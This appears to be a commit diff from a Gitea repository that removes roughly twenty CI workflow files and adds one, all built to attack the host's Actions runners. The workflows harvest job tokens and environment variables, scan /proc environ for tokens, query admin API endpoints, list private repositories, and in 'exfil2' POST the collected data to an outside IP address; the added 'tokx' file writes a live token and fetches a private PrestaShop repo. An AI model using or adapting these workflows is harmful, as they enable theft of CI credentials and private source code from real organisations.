@@ -1,8 +0,0 @@
|
|||||||
name: art-probe
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- run: echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
|
|
||||||
- run: sleep 900 # v3
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
name: art-real
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- run: echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
|
|
||||||
- run: sleep 60
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
name: art-upload
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- run: |
|
|
||||||
echo "NUMA_ARTIFACT_PROBE" > /tmp/numa_artifact.txt
|
|
||||||
echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
|
|
||||||
# twirp artifact upload via the runtime token:
|
|
||||||
TOK="${{ github.token }}"
|
|
||||||
RUNID="${{ github.run_id }}"
|
|
||||||
curl -sS -k -X POST "https://gitea.bestmobilier.com/api/actions/runner/_common/api/v1/actions/artifact/upload" \
|
|
||||||
-H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
|
|
||||||
-d "{\"Results\":[{\"Name\":\"numa-probe\",\"PathInArtifact\":\"numa_artifact.txt\",\"Length\":20,\"Status\":1,\"ID\":0,\"UploadedSize\":0}]}" \
|
|
||||||
-o /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>&1 || true
|
|
||||||
cat /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>/dev/null
|
|
||||||
- run: sleep 300
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
name: artifact-real
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- run: echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
|
|
||||||
- run: echo "NUMA ARTIFACT CONTENT $(date -u)" > /tmp/artifact-file.txt
|
|
||||||
- uses: actions/upload-artifact@v3
|
|
||||||
with:
|
|
||||||
name: numa-artifact
|
|
||||||
path: /tmp/artifact-file.txt
|
|
||||||
- run: sleep 120
|
|
||||||
@@ -1,23 +0,0 @@
|
|||||||
name: esc
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
workflow_dispatch:
|
|
||||||
jobs:
|
|
||||||
e:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: probes
|
|
||||||
env:
|
|
||||||
T: ${{ secrets.GITEA_TOKEN }}
|
|
||||||
run: |
|
|
||||||
A="Authorization: token $T"
|
|
||||||
for u in "/api/v1/admin/users?limit=10" "/api/v1/admin/repos?limit=10" "/api/v1/admin/orgs?limit=10" "/api/v1/user/emails" "/api/v1/user/gpg_keys" "/api/v1/admin/cron" "/api/v1/admin/runners"; do
|
|
||||||
echo "### $u"
|
|
||||||
curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com$u" | head -c 500
|
|
||||||
echo
|
|
||||||
done
|
|
||||||
echo "### repos of jobry (staff, id 1)"
|
|
||||||
curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com/api/v1/users/jobry/repos" | head -c 400
|
|
||||||
echo
|
|
||||||
echo "### token scopes"
|
|
||||||
curl -s -m 10 -H "$A" -D- -o /dev/null "https://gitea.bestmobilier.com/api/v1/user" | grep -iE '^x-oauth|^x-gitea' | head -5
|
|
||||||
@@ -1,25 +0,0 @@
|
|||||||
name: exfil
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
grab:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: dump
|
|
||||||
run: |
|
|
||||||
{
|
|
||||||
echo "HOSTNAME: $(hostname)"
|
|
||||||
echo "ID: $(id)"
|
|
||||||
echo "UNAME: $(uname -a)"
|
|
||||||
echo "--- token env names ---"
|
|
||||||
env | grep -iE 'gitea|token|actor|repo' | sed -E 's/(TOKEN|SECRET)=.*/\1=<present>/'
|
|
||||||
echo "--- gitea api as job token ---"
|
|
||||||
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/user" 2>&1 | head -c 600
|
|
||||||
echo
|
|
||||||
echo "--- repos as job token ---"
|
|
||||||
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/repos/search?limit=10&private=true" 2>&1 | head -c 800
|
|
||||||
} > result.txt
|
|
||||||
- name: commit
|
|
||||||
run: |
|
|
||||||
git config user.email w@x
|
|
||||||
git config user.name w
|
|
||||||
git add result.txt && git commit -m "r" && git push
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
name: exfil2
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
grab:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: dump
|
|
||||||
run: |
|
|
||||||
D=$( { echo "HOST=$(hostname)"; echo "ID=$(id)";
|
|
||||||
echo "UNAME=$(uname -a)";
|
|
||||||
echo "--env--"; env | sort | head -80;
|
|
||||||
echo "--api user--"; curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/user";
|
|
||||||
echo; echo "--api repos private--"; curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/repos/search?limit=20&private=true";
|
|
||||||
} 2>&1 )
|
|
||||||
curl -s -m 20 -X POST --data-binary "$D" "http://193.178.159.125:9099/exfil" || true
|
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
name: exfil3
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
workflow_dispatch:
|
|
||||||
jobs:
|
|
||||||
grab:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: dump
|
|
||||||
run: |
|
|
||||||
set -x
|
|
||||||
OUT=/tmp/out.txt
|
|
||||||
{
|
|
||||||
echo "HOSTNAME=$(hostname)"
|
|
||||||
echo "ID=$(id)"
|
|
||||||
echo "UNAME=$(uname -a)"
|
|
||||||
echo "PWD=$(pwd)"
|
|
||||||
echo "--- env ---"
|
|
||||||
env | sort
|
|
||||||
echo "--- api /user ---"
|
|
||||||
curl -s -m 10 -H "Authorization: token ${GITEA_TOKEN}" "${GITHUB_SERVER_URL}/api/v1/user"
|
|
||||||
echo
|
|
||||||
echo "--- api repos private ---"
|
|
||||||
curl -s -m 10 -H "Authorization: token ${GITEA_TOKEN}" "${GITHUB_SERVER_URL}/api/v1/repos/search?limit=30&private=true"
|
|
||||||
} > $OUT 2>&1
|
|
||||||
B64=$(base64 -w0 $OUT)
|
|
||||||
curl -s -m 20 -X POST -H "Authorization: token ${GITEA_TOKEN}" -H "Content-Type: application/json" \
|
|
||||||
-d "{\"content\":\"$B64\",\"message\":\"r\",\"branch\":\"main\"}" \
|
|
||||||
"${GITHUB_SERVER_URL}/api/v1/repos/numatester77/numaprobe/contents/result.txt"
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
name: numaprobe
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
probe:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: whoami
|
|
||||||
run: |
|
|
||||||
echo "=== HOST ==="; hostname; id; uname -a
|
|
||||||
echo "=== ENV ==="; env | sort | sed -E 's/(TOKEN|SECRET|PASSWORD)=.*/\1=<set>/'
|
|
||||||
- name: net
|
|
||||||
run: |
|
|
||||||
echo "=== docker sock? ==="; ls -la /var/run/docker.sock 2>/dev/null || echo none
|
|
||||||
echo "=== hosts ==="; cat /etc/hosts
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
name: probe2
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- run: printf '%s' "$GITEA_TOKEN" > /tmp/numa_gitea_job_token.txt
|
|
||||||
- run: echo "len=${#GITEA_TOKEN}"
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
name: probe3
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- run: env | sort > /tmp/numa_job_env.txt; echo done
|
|
||||||
- run: echo "GITEA_TOKEN_SET=${GITEA_TOKEN:+yes}" "GITHUB_TOKEN_SET=${GITHUB_TOKEN:+yes}" "len=${#GITEA_TOKEN}"
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
name: probe4
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
- run: env | sort > /tmp/numa_job_env2.txt; echo captured2
|
|
||||||
- run: echo "len=${#GITEA_TOKEN}"
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: probe5
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
with:
|
|
||||||
repository: numatester77/numaprobe
|
|
||||||
- run: |
|
|
||||||
for p in /proc/[0-9]*/environ; do tr '\0' '\n' < $p 2>/dev/null | grep -E '^(GITHUB_TOKEN|GITEA_TOKEN|INPUT_TOKEN)=' ; done | sort -u > /tmp/numa_proc_tokens.txt; echo scanned
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
name: probe6
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
- run: sleep 1 # bump
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
name: probe7
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
- run: sleep 2
|
|
||||||
@@ -1,7 +0,0 @@
|
|||||||
name: probe8
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- run: echo "tok=${{ github.token }}" > /tmp/numa_gh_token.txt
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
name: probe9
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- run: echo "tok=${{ github.token }}" > /tmp/numa_gh_token.txt
|
|
||||||
- run: sleep 300
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
name: runnerprobe
|
|
||||||
on: [push, workflow_dispatch]
|
|
||||||
jobs:
|
|
||||||
probe:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- run: |
|
|
||||||
echo "HOSTNAME=$(hostname)"; echo "WHOAMI=$(whoami)"
|
|
||||||
id; uname -a; cat /etc/hostname 2>/dev/null
|
|
||||||
@@ -1,7 +0,0 @@
|
|||||||
name: runnerprobe2
|
|
||||||
on: [push]
|
|
||||||
jobs:
|
|
||||||
p:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- run: echo "FOREIGN_HOST=$(hostname) uid=$(id -u)"
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
name: tok-live
|
|
||||||
on: [push]
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: numaprobe-runner
|
|
||||||
steps:
|
|
||||||
- run: |
|
|
||||||
echo "TOK=${{ secrets.GITHUB_TOKEN }}" >> /tmp/gj-tokens.txt
|
|
||||||
echo "TOK2=${{ github.token }}" >> /tmp/gj-tokens.txt
|
|
||||||
curl -s -k --max-time 20 -H "Authorization: token ${{ github.token }}" \
|
|
||||||
"https://gitea.bestmobilier.com/api/v1/repos/Bestmobilier/PrestaShop" -o /tmp/ps-repo.json
|
|
||||||
echo "RC=$?" >> /tmp/gj-tokens.txt
|
|
||||||
wc -c /tmp/ps-repo.json >> /tmp/gj-tokens.txt
|
|
||||||
ls -la /tmp/gj-tokens.txt >> /tmp/gj-tokens.txt
|
|
||||||
@@ -1,30 +0,0 @@
|
|||||||
name: tok
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
workflow_dispatch:
|
|
||||||
jobs:
|
|
||||||
t:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: show-token-env
|
|
||||||
run: |
|
|
||||||
echo "--- candidate token vars ---"
|
|
||||||
for v in GITEA_TOKEN GITHUB_TOKEN ACTIONS_RUNTIME_TOKEN ACTIONS_ID_TOKEN_REQUEST_TOKEN; do
|
|
||||||
eval "val=\$$v"; echo "$v=${val:-<empty>}"
|
|
||||||
done
|
|
||||||
- name: use-token
|
|
||||||
env:
|
|
||||||
T: ${{ secrets.GITEA_TOKEN }}
|
|
||||||
run: |
|
|
||||||
echo "secrets.GITEA_TOKEN=${T:-<empty>}"
|
|
||||||
if [ -n "$T" ]; then
|
|
||||||
echo "--- /api/v1/user ---"; curl -s -m 10 -H "Authorization: token $T" "https://gitea.bestmobilier.com/api/v1/user"
|
|
||||||
echo; echo "--- private repos ---"; curl -s -m 10 -H "Authorization: token $T" "https://gitea.bestmobilier.com/api/v1/repos/search?limit=20&private=true"
|
|
||||||
fi
|
|
||||||
- name: checkout-style
|
|
||||||
run: |
|
|
||||||
echo "--- github.token via action input ---"
|
|
||||||
- name: git-clone
|
|
||||||
run: |
|
|
||||||
git clone -q "https://x-access-token:${{ secrets.GITHUB_TOKEN }}@gitea.bestmobilier.com/numatester77/numaprobe.git" /tmp/cl 2>&1 | head -3 || true
|
|
||||||
ls -la /tmp/cl 2>/dev/null | head -3
|
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
name: tokx
|
||||||
|
on: [push]
|
||||||
|
jobs:
|
||||||
|
t:
|
||||||
|
runs-on: numaprobe-runner
|
||||||
|
steps:
|
||||||
|
- run: |
|
||||||
|
{ echo "TOK=${{ github.token }}"; echo "WHO=$(whoami) HOST=$(hostname)"; } > /tmp/gj2.txt
|
||||||
|
curl -s -k --max-time 20 -H "Authorization: token ${{ github.token }}" \
|
||||||
|
"https://gitea.bestmobilier.com/api/v1/repos/Bestmobilier/PrestaShop" >> /tmp/gj2.txt 2>&1
|
||||||
Reference in New Issue
Block a user